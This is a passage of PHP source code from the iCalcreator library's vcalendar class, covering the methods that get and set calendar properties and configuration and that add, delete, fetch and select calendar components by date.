              $reduced[$k] = $a;
          }
        }
        else {
          if( count( $this->xprop ) <= $propix )  return FALSE;
          $xpropno = 0;
          foreach( $this->xprop as $xpropkey => $xpropvalue ) {
            if( $propix != $xpropno )
              $reduced[$xpropkey] = $xpropvalue;
            $xpropno++;
          }
        }
        $this->xprop = $reduced;
        if( empty( $this->xprop )) {
          unset( $this->propdelix[$propName] );
          return FALSE;
        }
        return TRUE;
    }
    return $return;
  }
/**
 * get calendar property value/params
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.13.4 - 2012-08-08
 * @param string $propName, optional
 * @param int $propix, optional, if specific property is wanted in case of multiply occurences
 * @param bool $inclParam=FALSE
 * @return mixed
 */
  function getProperty( $propName=FALSE, $propix=FALSE, $inclParam=FALSE ) {
    $propName = ( $propName ) ? strtoupper( $propName ) : 'X-PROP';
    if( 'X-PROP' == $propName ) {
      if( !$propix )
        $propix  = ( isset( $this->propix[$propName] )) ? $this->propix[$propName] + 2 : 1;
      $this->propix[$propName] = --$propix;
    }
    else
      $mProps    = array( 'ATTENDEE', 'CATEGORIES', 'CONTACT', 'RELATED-TO', 'RESOURCES' );
    switch( $propName ) {
      case 'ATTENDEE':
      case 'CATEGORIES':
      case 'CONTACT':
      case 'DTSTART':
      case 'GEOLOCATION':
      case 'LOCATION':
      case 'ORGANIZER':
      case 'PRIORITY':
      case 'RESOURCES':
      case 'STATUS':
      case 'SUMMARY':
      case 'RECURRENCE-ID-UID':
      case 'RELATED-TO':
      case 'R-UID':
      case 'UID':
      case 'URL':
        $output  = array();
        foreach ( $this->components as $cix => $component) {
          if( !in_array( $component->objName, array('vevent', 'vtodo', 'vjournal', 'vfreebusy' )))
            continue;
          if( in_array( strtoupper( $propName ), $mProps )) {
            $component->_getProperties( $propName, $output );
            continue;
          }
          elseif(( 3 < strlen( $propName )) && ( 'UID' == substr( $propName, -3 ))) {
            if( FALSE !== ( $content = $component->getProperty( 'RECURRENCE-ID' )))
              $content = $component->getProperty( 'UID' );
          }
          elseif( 'GEOLOCATION' == $propName ) {
            $content = $component->getProperty( 'LOCATION' );
            $content = ( !empty( $content )) ? $content.' ' : '';
            if(( FALSE === ( $geo     = $component->getProperty( 'GEO' ))) || empty( $geo ))
              continue;
            if( 0.0 < $geo['latitude'] )
              $sign   = '+';
            else
              $sign   = ( 0.0 > $geo['latitude'] ) ? '-' : '';
            $content .= ' '.$sign.sprintf( "%09.6f", abs( $geo['latitude'] ));
            $content  = rtrim( rtrim( $content, '0' ), '.' );
            if( 0.0 < $geo['longitude'] )
              $sign   = '+';
            else
              $sign   = ( 0.0 > $geo['longitude'] ) ? '-' : '';
            $content .= $sign.sprintf( '%8.6f', abs( $geo['longitude'] )).'/';
          }
          elseif( FALSE === ( $content = $component->getProperty( $propName )))
            continue;
          if(( FALSE === $content ) || empty( $content ))
            continue;
          elseif( is_array( $content )) {
            if( isset( $content['year'] )) {
              $key  = sprintf( '%04d%02d%02d', $content['year'], $content['month'], $content['day'] );
              if( !isset( $output[$key] ))
                $output[$key] = 1;
              else
                $output[$key] += 1;
            }
            else {
              foreach( $content as $partValue => $partCount ) {
                if( !isset( $output[$partValue] ))
                  $output[$partValue] = $partCount;
                else
                  $output[$partValue] += $partCount;
              }
            }
          } // end elseif( is_array( $content )) {
          elseif( !isset( $output[$content] ))
            $output[$content] = 1;
          else
            $output[$content] += 1;
        } // end foreach ( $this->components as $cix => $component)
        if( !empty( $output ))
          ksort( $output );
        return $output;
        break;
      case 'CALSCALE':
        return ( !empty( $this->calscale )) ? $this->calscale : FALSE;
        break;
      case 'METHOD':
        return ( !empty( $this->method )) ? $this->method : FALSE;
        break;
      case 'PRODID':
        if( empty( $this->prodid ))
          $this->_makeProdid();
        return $this->prodid;
        break;
      case 'VERSION':
        return ( !empty( $this->version )) ? $this->version : FALSE;
        break;
      default:
        if( $propName != 'X-PROP' ) {
          if( !isset( $this->xprop[$propName] )) return FALSE;
          return ( $inclParam ) ? array( $propName, $this->xprop[$propName] )
                                : array( $propName, $this->xprop[$propName]['value'] );
        }
        else {
          if( empty( $this->xprop )) return FALSE;
          $xpropno = 0;
          foreach( $this->xprop as $xpropkey => $xpropvalue ) {
            if( $propix == $xpropno )
              return ( $inclParam ) ? array( $xpropkey, $this->xprop[$xpropkey] )
                                    : array( $xpropkey, $this->xprop[$xpropkey]['value'] );
            else
              $xpropno++;
          }
          unset( $this->propix[$propName] );
          return FALSE; // not found ??
        }
    }
    return FALSE;
  }
/**
 * general vcalendar property setting
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.2.13 - 2007-11-04
 * @param mixed $args variable number of function arguments,
 *                    first argument is ALWAYS component name,
 *                    second ALWAYS component value!
 * @return bool
 */
  function setProperty () {
    $numargs    = func_num_args();
    if( 1 > $numargs )
      return FALSE;
    $arglist    = func_get_args();
    $arglist[0] = strtoupper( $arglist[0] );
    switch( $arglist[0] ) {
      case 'CALSCALE':
        return $this->setCalscale( $arglist[1] );
      case 'METHOD':
        return $this->setMethod( $arglist[1] );
      case 'VERSION':
        return $this->setVersion( $arglist[1] );
      default:
        if( !isset( $arglist[1] )) $arglist[1] = null;
        if( !isset( $arglist[2] )) $arglist[2] = null;
        return $this->setXprop( $arglist[0], $arglist[1], $arglist[2] );
    }
    return FALSE;
  }
/*********************************************************************************/
/**
 * get vcalendar config values or * calendar components
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.11.7 - 2012-01-12
 * @param mixed $config
 * @return value
 */
  function getConfig( $config = FALSE ) {
    if( !$config ) {
      $return = array();
      $return['ALLOWEMPTY']  = $this->getConfig( 'ALLOWEMPTY' );
      $return['DELIMITER']   = $this->getConfig( 'DELIMITER' );
      $return['DIRECTORY']   = $this->getConfig( 'DIRECTORY' );
      $return['FILENAME']    = $this->getConfig( 'FILENAME' );
      $return['DIRFILE']     = $this->getConfig( 'DIRFILE' );
      $return['FILESIZE']    = $this->getConfig( 'FILESIZE' );
      $return['FORMAT']      = $this->getConfig( 'FORMAT' );
      if( FALSE !== ( $lang  = $this->getConfig( 'LANGUAGE' )))
        $return['LANGUAGE']  = $lang;
      $return['NEWLINECHAR'] = $this->getConfig( 'NEWLINECHAR' );
      $return['UNIQUE_ID']   = $this->getConfig( 'UNIQUE_ID' );
      if( FALSE !== ( $url   = $this->getConfig( 'URL' )))
        $return['URL']       = $url;
      $return['TZID']        = $this->getConfig( 'TZID' );
      return $return;
    }
    switch( strtoupper( $config )) {
      case 'ALLOWEMPTY':
        return $this->allowEmpty;
        break;
      case 'COMPSINFO':
        unset( $this->compix );
        $info = array();
        foreach( $this->components as $cix => $component ) {
          if( empty( $component )) continue;
          $info[$cix]['ordno'] = $cix + 1;
          $info[$cix]['type']  = $component->objName;
          $info[$cix]['uid']   = $component->getProperty( 'uid' );
          $info[$cix]['props'] = $component->getConfig( 'propinfo' );
          $info[$cix]['sub']   = $component->getConfig( 'compsinfo' );
        }
        return $info;
        break;
      case 'DELIMITER':
        return $this->delimiter;
        break;
      case 'DIRECTORY':
        if( empty( $this->directory ) && ( '0' != $this->directory ))
          $this->directory = '.';
        return $this->directory;
        break;
      case 'DIRFILE':
        return $this->getConfig( 'directory' ).$this->getConfig( 'delimiter' ).$this->getConfig( 'filename' );
        break;
      case 'FILEINFO':
        return array( $this->getConfig( 'directory' )
                    , $this->getConfig( 'filename' )
                    , $this->getConfig( 'filesize' ));
        break;
      case 'FILENAME':
        if( empty( $this->filename ) && ( '0' != $this->filename )) {
          if( 'xcal' == $this->format )
            $this->filename = date( 'YmdHis' ).'.xml'; // recommended xcs.. .
          else
            $this->filename = date( 'YmdHis' ).'.ics';
        }
        return $this->filename;
        break;
      case 'FILESIZE':
        $size    = 0;
        if( empty( $this->url )) {
          $dirfile = $this->getConfig( 'dirfile' );
          if( !is_file( $dirfile ) || ( FALSE === ( $size = filesize( $dirfile ))))
            $size = 0;
          clearstatcache();
        }
        return $size;
        break;
      case 'FORMAT':
        return ( $this->format == 'xcal' ) ? 'xCal' : 'iCal';
        break;
      case 'LANGUAGE':
         /* get language for calendar component as defined in [RFC 1766] */
        return $this->language;
        break;
      case 'NL':
      case 'NEWLINECHAR':
        return $this->nl;
        break;
      case 'TZID':
        return $this->dtzid;
        break;
      case 'UNIQUE_ID':
        return $this->unique_id;
        break;
      case 'URL':
        if( !empty( $this->url ))
          return $this->url;
        else
          return FALSE;
        break;
    }
  }
/**
 * general vcalendar config setting
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.7 - 2013-01-11
 * @param mixed  $config
 * @param string $value
 * @return void
 */
  function setConfig( $config, $value = FALSE) {
    if( is_array( $config )) {
      $ak = array_keys( $config );
      foreach( $ak as $k ) {
        if( 'DIRECTORY' == strtoupper( $k )) {
          if( FALSE === $this->setConfig( 'DIRECTORY', $config[$k] ))
            return FALSE;
          unset( $config[$k] );
        }
        elseif( 'NEWLINECHAR' == strtoupper( $k )) {
          if( FALSE === $this->setConfig( 'NEWLINECHAR', $config[$k] ))
            return FALSE;
          unset( $config[$k] );
        }
      }
      foreach( $config as $cKey => $cValue ) {
        if( FALSE === $this->setConfig( $cKey, $cValue ))
          return FALSE;
      }
      return TRUE;
    }
    $res = FALSE;
    switch( strtoupper( $config )) {
      case 'ALLOWEMPTY':
        $this->allowEmpty = $value;
        $subcfg  = array( 'ALLOWEMPTY' => $value );
        $res = TRUE;
        break;
      case 'DELIMITER':
        $this->delimiter = $value;
        return TRUE;
        break;
      case 'DIRECTORY':
        $value   = trim( $value );
        $del     = $this->getConfig('delimiter');
        if( $del == substr( $value, ( 0 - strlen( $del ))))
          $value = substr( $value, 0, ( strlen( $value ) - strlen( $del )));
        if( is_dir( $value )) {
            /* local directory */
          clearstatcache();
          $this->directory = $value;
          $this->url       = null;
          return TRUE;
        }
        else
          return FALSE;
        break;
      case 'FILENAME':
        $value   = trim( $value );
        if( !empty( $this->url )) {
            /* remote directory+file -> URL */
          $this->filename = $value;
          return TRUE;
        }
        $dirfile = $this->getConfig( 'directory' ).$this->getConfig( 'delimiter' ).$value;
        if( file_exists( $dirfile )) {
            /* local file exists */
          if( is_readable( $dirfile ) || is_writable( $dirfile )) {
            clearstatcache();
            $this->filename = $value;
            return TRUE;
          }
          else
            return FALSE;
        }
        elseif( is_readable($this->getConfig( 'directory' ) ) || is_writable( $this->getConfig( 'directory' ) )) {
            /* read- or writable directory */
          $this->filename = $value;
          return TRUE;
        }
        else
          return FALSE;
        break;
      case 'FORMAT':
        $value   = trim( strtolower( $value ));
        if( 'xcal' == $value ) {
          $this->format             = 'xcal';
          $this->attributeDelimiter = $this->nl;
          $this->valueInit          = null;
        }
        else {
          $this->format             = null;
          $this->attributeDelimiter = ';';
          $this->valueInit          = ':';
        }
        $subcfg  = array( 'FORMAT' => $value );
        $res = TRUE;
        break;
      case 'LANGUAGE': // set language for calendar component as defined in [RFC 1766]
        $value   = trim( $value );
        $this->language = $value;
        $this->_makeProdid();
        $subcfg  = array( 'LANGUAGE' => $value );
        $res = TRUE;
        break;
      case 'NL':
      case 'NEWLINECHAR':
        $this->nl = $value;
        if( 'xcal' == $value ) {
          $this->attributeDelimiter = $this->nl;
          $this->valueInit          = null;
        }
        else {
          $this->attributeDelimiter = ';';
          $this->valueInit          = ':';
        }
        $subcfg  = array( 'NL' => $value );
        $res = TRUE;
        break;
      case 'TZID':
        $this->dtzid = $value;
        $subcfg  = array( 'TZID' => $value );
        $res = TRUE;
        break;
      case 'UNIQUE_ID':
        $value   = trim( $value );
        $this->unique_id = $value;
        $this->_makeProdid();
        $subcfg  = array( 'UNIQUE_ID' => $value );
        $res = TRUE;
        break;
      case 'URL':
            /* remote file - URL */
        $value     = str_replace( array( 'HTTP://', 'WEBCAL://', 'webcal://' ), 'http://', trim( $value ));
        if( 'http://' != substr( $value, 0, 7 ))
          return FALSE;
        $s1        = $this->url;
        $this->url = $value;
        $s2        = $this->directory;
        $this->directory = null;
        $parts     = pathinfo( $value );
        if( FALSE === $this->setConfig( 'filename',  $parts['basename'] )) {
          $this->url       = $s1;
          $this->directory = $s2;
          return FALSE;
        }
        else
          return TRUE;
        break;
      default:  // any unvalid config key.. .
        return TRUE;
    }
    if( !$res ) return FALSE;
    if( isset( $subcfg ) && !empty( $this->components )) {
      foreach( $subcfg as $cfgkey => $cfgvalue ) {
        foreach( $this->components as $cix => $component ) {
          $res = $component->setConfig( $cfgkey, $cfgvalue, TRUE );
          if( !$res )
            break 2;
          $this->components[$cix] = $component->copy(); // PHP4 compliant
        }
      }
    }
    return $res;
  }
/*********************************************************************************/
/**
 * add calendar component to container
 *
 * alias to setComponent
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 1.x.x - 2007-04-24
 * @param object $component calendar component
 * @return void
 */
  function addComponent( $component ) {
    $this->setComponent( $component );
  }
/**
 * delete calendar component from container
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.8 - 2011-03-15
 * @param mixed $arg1 ordno / component type / component uid
 * @param mixed $arg2 optional, ordno if arg1 = component type
 * @return void
 */
  function deleteComponent( $arg1, $arg2=FALSE  ) {
    $argType = $index = null;
    if ( ctype_digit( (string) $arg1 )) {
      $argType = 'INDEX';
      $index   = (int) $arg1 - 1;
    }
    elseif(( strlen( $arg1 ) <= strlen( 'vfreebusy' )) && ( FALSE === strpos( $arg1, '@' ))) {
      $argType = strtolower( $arg1 );
      $index   = ( !empty( $arg2 ) && ctype_digit( (string) $arg2 )) ? (( int ) $arg2 - 1 ) : 0;
    }
    $cix1dC = 0;
    foreach ( $this->components as $cix => $component) {
      if( empty( $component )) continue;
      if(( 'INDEX' == $argType ) && ( $index == $cix )) {
        unset( $this->components[$cix] );
        return TRUE;
      }
      elseif( $argType == $component->objName ) {
        if( $index == $cix1dC ) {
          unset( $this->components[$cix] );
          return TRUE;
        }
        $cix1dC++;
      }
      elseif( !$argType && ($arg1 == $component->getProperty( 'uid' ))) {
        unset( $this->components[$cix] );
        return TRUE;
      }
    }
    return FALSE;
  }
/**
 * get calendar component from container
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.15 - 2013-04-25
 * @param mixed $arg1 optional, ordno/component type/ component uid
 * @param mixed $arg2 optional, ordno if arg1 = component type
 * @return object
 */
  function getComponent( $arg1=FALSE, $arg2=FALSE ) {
    $index = $argType = null;
    if ( !$arg1 ) { // first or next in component chain
      $argType = 'INDEX';
      $index   = $this->compix['INDEX'] = ( isset( $this->compix['INDEX'] )) ? $this->compix['INDEX'] + 1 : 1;
    }
    elseif( is_array( $arg1 )) { // array( *[propertyName => propertyValue] )
      $arg2  = implode( '-', array_keys( $arg1 ));
      $index = $this->compix[$arg2] = ( isset( $this->compix[$arg2] )) ? $this->compix[$arg2] + 1 : 1;
      $dateProps  = array( 'DTSTART', 'DTEND', 'DUE', 'CREATED', 'COMPLETED', 'DTSTAMP', 'LAST-MODIFIED', 'RECURRENCE-ID' );
      $otherProps = array( 'ATTENDEE', 'CATEGORIES', 'CONTACT', 'LOCATION', 'ORGANIZER', 'PRIORITY', 'RELATED-TO', 'RESOURCES', 'STATUS', 'SUMMARY', 'UID', 'URL' );
      $mProps     = array( 'ATTENDEE', 'CATEGORIES', 'CONTACT', 'RELATED-TO', 'RESOURCES' );
    }
    elseif ( ctype_digit( (string) $arg1 )) { // specific component in chain
      $argType = 'INDEX';
      $index   = (int) $arg1;
      unset( $this->compix );
    }
    elseif(( strlen( $arg1 ) <= strlen( 'vfreebusy' )) && ( FALSE === strpos( $arg1, '@' ))) { // object class name
      unset( $this->compix['INDEX'] );
      $argType = strtolower( $arg1 );
      if( !$arg2 )
        $index = $this->compix[$argType] = ( isset( $this->compix[$argType] )) ? $this->compix[$argType] + 1 : 1;
      elseif( isset( $arg2 ) && ctype_digit( (string) $arg2 ))
        $index = (int) $arg2;
    }
    elseif(( strlen( $arg1 ) > strlen( 'vfreebusy' )) && ( FALSE !== strpos( $arg1, '@' ))) { // UID as 1st argument
      if( !$arg2 )
        $index = $this->compix[$arg1] = ( isset( $this->compix[$arg1] )) ? $this->compix[$arg1] + 1 : 1;
      elseif( isset( $arg2 ) && ctype_digit( (string) $arg2 ))
        $index = (int) $arg2;
    }
    if( isset( $index ))
      $index  -= 1;
    $ckeys = array_keys( $this->components );
    if( !empty( $index) && ( $index > end(  $ckeys )))
      return FALSE;
    $cix1gC = 0;
    foreach ( $this->components as $cix => $component) {
      if( empty( $component )) continue;
      if(( 'INDEX' == $argType ) && ( $index == $cix ))
        return $component->copy();
      elseif( $argType == $component->objName ) {
        if( $index == $cix1gC )
          return $component->copy();
        $cix1gC++;
      }
      elseif( is_array( $arg1 )) { // array( *[propertyName => propertyValue] )
        $hit = array();
        foreach( $arg1 as $pName => $pValue ) {
          $pName = strtoupper( $pName );
          if( !in_array( $pName, $dateProps ) && !in_array( $pName, $otherProps ))
            continue;
          if( in_array( $pName, $mProps )) { // multiple occurrence
            $propValues = array();
            $component->_getProperties( $pName, $propValues );
            $propValues = array_keys( $propValues );
            $hit[] = ( in_array( $pValue, $propValues )) ? TRUE : FALSE;
            continue;
          } // end   if(.. .// multiple occurrence
          if( FALSE === ( $value = $component->getProperty( $pName ))) { // single occurrence
            $hit[] = FALSE; // missing property
            continue;
          }
          if( 'SUMMARY' == $pName ) { // exists within (any case)
            $hit[] = ( FALSE !== stripos( $value, $pValue )) ? TRUE : FALSE;
            continue;
          }
          if( in_array( strtoupper( $pName ), $dateProps )) {
            $valuedate = sprintf( '%04d%02d%02d', $value['year'], $value['month'], $value['day'] );
            if( 8 < strlen( $pValue )) {
              if( isset( $value['hour'] )) {
                if( 'T' == substr( $pValue, 8, 1 ))
                  $pValue = str_replace( 'T', '', $pValue );
                $valuedate .= sprintf( '%02d%02d%02d', $value['hour'], $value['min'], $value['sec'] );
              }
              else
                $pValue = substr( $pValue, 0, 8 );
            }
            $hit[] = ( $pValue == $valuedate ) ? TRUE : FALSE;
            continue;
          }
          elseif( !is_array( $value ))
            $value = array( $value );
          foreach( $value as $part ) {
            $part = ( FALSE !== strpos( $part, ',' )) ? explode( ',', $part ) : array( $part );
            foreach( $part as $subPart ) {
              if( $pValue == $subPart ) {
                $hit[] = TRUE;
                continue 3;
              }
            }
          } // end foreach( $value as $part )
          $hit[] = FALSE; // no hit in property
        } // end  foreach( $arg1 as $pName => $pValue )
        if( in_array( TRUE, $hit )) {
          if( $index == $cix1gC )
            return $component->copy();
          $cix1gC++;
        }
      } // end elseif( is_array( $arg1 )) { // array( *[propertyName => propertyValue] )
      elseif( !$argType && ($arg1 == $component->getProperty( 'uid' ))) { // UID
        if( $index == $cix1gC )
          return $component->copy();
        $cix1gC++;
      }
    } // end foreach ( $this->components.. .
            /* not found.. . */
    unset( $this->compix );
    return FALSE;
  }
/**
 * create new calendar component, already included within calendar
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.6.33 - 2011-01-03
 * @param string $compType component type
 * @return object (reference)
 */
  function & newComponent( $compType ) {
    $config = $this->getConfig();
    $keys   = array_keys( $this->components );
    $ix     = end( $keys) + 1;
    switch( strtoupper( $compType )) {
      case 'EVENT':
      case 'VEVENT':
        $this->components[$ix] = new vevent( $config );
        break;
      case 'TODO':
      case 'VTODO':
        $this->components[$ix] = new vtodo( $config );
        break;
      case 'JOURNAL':
      case 'VJOURNAL':
        $this->components[$ix] = new vjournal( $config );
        break;
      case 'FREEBUSY':
      case 'VFREEBUSY':
        $this->components[$ix] = new vfreebusy( $config );
        break;
      case 'TIMEZONE':
      case 'VTIMEZONE':
        array_unshift( $this->components, new vtimezone( $config ));
        $ix = 0;
        break;
      default:
        return FALSE;
    }
    return $this->components[$ix];
  }
/**
 * select components from calendar on date or selectOption basis
 *
 * Ensure DTSTART is set for every component.
 * No date controls occurs.
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.13 - 2013-03-16
 * @param mixed $startY optional, start Year,  default current Year ALT. array selecOptions ( *[ <propName> => <uniqueValue> ] )
 * @param int   $startM optional, start Month, default current Month
 * @param int   $startD optional, start Day,   default current Day
 * @param int   $endY   optional, end   Year,  default $startY
 * @param int   $endY   optional, end   Month, default $startM
 * @param int   $endY   optional, end   Day,   default $startD
 * @param mixed $cType  optional, calendar component type(-s), default FALSE=all else string/array type(-s)
 * @param bool  $flat   optional, FALSE (default) => output : array[Year][Month][Day][]
 *                                TRUE            => output : array[] (ignores split)
 * @param bool  $any    optional, TRUE (default) - select component(-s) that occurs within period
 *                                FALSE          - only component(-s) that starts within period
 * @param bool  $split  optional, TRUE (default) - one component copy every DAY it occurs during the
 *                                                 period (implies flat=FALSE)
 *                                FALSE          - one occurance of component only in output array
 * @return array or FALSE
 */
  function selectComponents( $startY=FALSE, $startM=FALSE, $startD=FALSE, $endY=FALSE, $endM=FALSE, $endD=FALSE, $cType=FALSE, $flat=FALSE, $any=TRUE, $split=TRUE ) {
            /* check  if empty calendar */
    if( 0 >= count( $this->components )) return FALSE;
    if( is_array( $startY ))
      return $this->selectComponents2( $startY );
            /* check default dates */
    if( !$startY ) $startY = date( 'Y' );
    if( !$startM ) $startM = date( 'm' );
    if( !$startD ) $startD = date( 'd' );
    $startDate = mktime( 0, 0, 0, $startM, $startD, $startY );
    if( !$endY )   $endY   = $startY;
    if( !$endM )   $endM   = $startM;
    if( !$endD )   $endD   = $startD;
    $endDate   = mktime( 23, 59, 59, $endM, $endD, $endY );
// echo 'selectComp arg='.date( 'Y-m-d H:i:s', $startDate).' -- '.date( 'Y-m-d H:i:s', $endDate)."<br>\n"; $tcnt = 0;// test ###
            /* check component types */
    $validTypes = array('vevent', 'vtodo', 'vjournal', 'vfreebusy' );
    if( is_array( $cType )) {
      foreach( $cType as $cix => $theType ) {
        $cType[$cix] = $theType = strtolower( $theType );
        if( !in_array( $theType, $validTypes ))
          $cType[$cix] = 'vevent';
      }
      $cType = array_unique( $cType );
    }
    elseif( !empty( $cType )) {
      $cType = strtolower( $cType );
      if( !in_array( $cType, $validTypes ))
        $cType = array( 'vevent' );
      else
        $cType = array( $cType );
    }
    else
      $cType = $validTypes;
    if( 0 >= count( $cType ))
      $cType = $validTypes;
    if(( FALSE === $flat ) && ( FALSE === $any )) // invalid combination
      $split = FALSE;
    if(( TRUE === $flat ) && ( TRUE === $split )) // invalid combination
      $split = FALSE;
            /* iterate components */
    $result       = array();
    $this->sort( 'UID' );
    $compUIDcmp   = null;
    $recurridList = array();
    foreach ( $this->components as $cix => $component ) {
      if( empty( $component )) continue;
      unset( $start );
            /* deselect unvalid type components */
      if( !in_array( $component->objName, $cType ))
        continue;
      $start = $component->getProperty( 'dtstart' );
            /* select due when dtstart is missing */
      if( empty( $start ) && ( $component->objName == 'vtodo' ) && ( FALSE === ( $start = $component->getProperty( 'due' ))))
        continue;
      if( empty( $start ))
        continue;
      $compUID      = $component->getProperty( 'UID' );
      if( $compUIDcmp != $compUID ) {
        $compUIDcmp = $compUID;
        unset( $exdatelist, $recurridList );
      }
      $dtendExist = $dueExist = $durationExist = $endAllDayEvent = $recurrid = FALSE;
      unset( $end, $startWdate, $endWdate, $rdurWsecs, $rdur, $workstart, $workend, $endDateFormat ); // clean up
      $startWdate = iCalUtilityFunctions::_date2timestamp( $start );
      $startDateFormat = ( isset( $start['hour'] )) ? 'Y-m-d H:i:s' : 'Y-m-d';
            /* get end date from dtend/due/duration properties */
      $end = $component->getProperty( 'dtend' );
      if( !empty( $end )) {
        $dtendExist = TRUE;
        $endDateFormat = ( isset( $end['hour'] )) ? 'Y-m-d H:i:s' : 'Y-m-d';
      }
      if( empty( $end ) && ( $component->objName == 'vtodo' )) {
        $end = $component->getProperty( 'due' );
        if( !empty( $end )) {
          $dueExist = TRUE;
          $endDateFormat = ( isset( $end['hour'] )) ? 'Y-m-d H:i:s' : 'Y-m-d';
        }
      }
      if( !empty( $end ) && !isset( $end['hour'] )) {
          /* a DTEND without time part regards an event that ends the day before,
             for an all-day event DTSTART=20071201 DTEND=20071202 (taking place 20071201!!! */
        $endAllDayEvent = TRUE;
        $endWdate = mktime( 23, 59, 59, $end['month'], ($end['day'] - 1), $end['year'] );
        $end['year']  = date( 'Y', $endWdate );
        $end['month'] = date( 'm', $endWdate );
        $end['day']   = date( 'd', $endWdate );
        $end['hour']  = 23;
        $end['min']   = $end['sec'] = 59;
      }
      if( empty( $end )) {
        $end = $component->getProperty( 'duration', FALSE, FALSE, TRUE );// in dtend (array) format
        if( !empty( $end ))
          $durationExist = TRUE;
          $endDateFormat = ( isset( $start['hour'] )) ? 'Y-m-d H:i:s' : 'Y-m-d';
// if( !empty($end))  echo 'selectComp 4 start='.implode('-',$start).' end='.implode('-',$end)."<br>\n"; // test ###
      }
      if( empty( $end )) { // assume one day duration if missing end date
        $end = array( 'year' => $start['year'], 'month' => $start['month'], 'day' => $start['day'], 'hour' => 23, 'min' => 59, 'sec' => 59 );
      }
// if( isset($end))  echo 'selectComp 5 start='.implode('-',$start).' end='.implode('-',$end)."<br>\n"; // test ###
      $endWdate = iCalUtilityFunctions::_date2timestamp( $end );
      if( $endWdate < $startWdate ) { // MUST be after start date!!
        $end = array( 'year' => $start['year'], 'month' => $start['month'], 'day' => $start['day'], 'hour' => 23, 'min' => 59, 'sec' => 59 );
        $endWdate = iCalUtilityFunctions::_date2timestamp( $end );
      }
      $rdurWsecs  = $endWdate - $startWdate; // compute event (component) duration in seconds
            /* make a list of optional exclude dates for component occurence from exrule and exdate */
      $exdatelist = array();
      $workstart  = iCalUtilityFunctions::_timestamp2date(( $startDate - $rdurWsecs ), 6);
      $workend    = iCalUtilityFunctions::_timestamp2date(( $endDate + $rdurWsecs ), 6);
      while( FALSE !== ( $exrule = $component->getProperty( 'exrule' )))    // check exrule
        iCalUtilityFunctions::_recur2date( $exdatelist, $exrule, $start, $workstart, $workend );
      while( FALSE !== ( $exdate = $component->getProperty( 'exdate' ))) {  // check exdate
        foreach( $exdate as $theExdate ) {
          $exWdate = iCalUtilityFunctions::_date2timestamp( $theExdate );
          $exWdate = mktime( 0, 0, 0, date( 'm', $exWdate ), date( 'd', $exWdate ), date( 'Y', $exWdate )); // on a day-basis !!!
          if((( $startDate - $rdurWsecs ) <= $exWdate ) && ( $endDate >= $exWdate ))
            $exdatelist[$exWdate] = TRUE;
        } // end - foreach( $exdate as $theExdate )
      }  // end - check exdate
            /* check recurrence-id (note, a missing sequence is the same as sequence=0 so don't test for sequence), remove hit with reccurr-id date */
      if( FALSE !== ( $t = $recurrid = $component->getProperty( 'recurrence-id' ))) {
        $recurrid = iCalUtilityFunctions::_date2timestamp( $recurrid );
        $recurrid = mktime( 0, 0, 0, date( 'm', $recurrid ), date( 'd', $recurrid ), date( 'Y', $recurrid )); // on a day-basis !!!
        $recurridList[$recurrid] = TRUE;                                             // no recurring to start this day
// echo "adding comp no:$cix with date=".implode($start)." and recurrid=".implode($t)." to recurridList id=$recurrid<br>\n"; // test ###
      } // end recurrence-id/sequence test
            /* select only components with.. . */
      if(( !$any && ( $startWdate >= $startDate ) && ( $startWdate <= $endDate )) || // (dt)start within the period
         (  $any && ( $startWdate < $endDate ) && ( $endWdate >= $startDate ))) {    // occurs within the period
            /* add the selected component (WITHIN valid dates) to output array */
        if( $flat ) { // any=true/false, ignores split
          if( !$recurrid )
            $result[$compUID] = $component->copy(); // copy original to output (but not anyone with recurrence-id)
        }
        elseif( $split ) { // split the original component
          if( $endWdate > $endDate )
            $endWdate = $endDate;     // use period end date
          $rstart   = $startWdate;
          if( $rstart < $startDate )
            $rstart = $startDate; // use period start date
          $startYMD = $rstartYMD = date( 'Ymd', $rstart );
          $endYMD   = date( 'Ymd', $endWdate );
          $checkDate = mktime( 0, 0, 0, date( 'm', $rstart ), date( 'd', $rstart ), date( 'Y', $rstart ) ); // on a day-basis !!!
// echo "going to test comp no:$cix with rstartYMD=$rstartYMD, endYMD=$endYMD and checkDate($checkDate) with recurridList=".implode(',',array_keys($recurridList))."<br>\n"; // test ###
          if( !isset( $exdatelist[$checkDate] )) { // exclude any recurrence START date, found in exdatelist
            while( $rstartYMD <= $endYMD ) { // iterate
              if( isset( $exdatelist[$checkDate] ) ||                   // exclude any recurrence date, found in the exdatelist
                ( isset( $recurridList[$checkDate] ) && !$recurrid )) { // or in the recurridList, but not itself
// echo "skipping comp no:$cix with datestart=$rstartYMD and checkdate=$checkDate<br>\n"; // test ###
                $rstart = mktime( date( 'H', $rstart ), date( 'i', $rstart ), date( 's', $rstart ), date( 'm', $rstart ), date( 'd', $rstart ) + 1, date( 'Y', $rstart ) ); // step one day
                $rstartYMD = date( 'Ymd', $rstart );
                continue;
              }
              if( $rstartYMD > $startYMD ) // date after dtstart
                $datestring = date( $startDateFormat, $checkDate ); // mktime( 0, 0, 0, date( 'm', $rstart ), date( 'd', $rstart ), date( 'Y', $rstart )));
              else
                $datestring = date( $startDateFormat, $rstart );
              if( isset( $start['tz'] ))
                $datestring .= ' '.$start['tz'];
// echo "split org comp no:$cix rstartYMD=$rstartYMD (datestring=$datestring)<br>\n"; // test ###
              $component->setProperty( 'X-CURRENT-DTSTART', $datestring );
              if( $dtendExist || $dueExist || $durationExist ) {
                if( $rstartYMD < $endYMD ) // not the last day
                  $tend = mktime( 23, 59, 59, date( 'm', $rstart ), date( 'd', $rstart ), date( 'Y', $rstart ));
                else
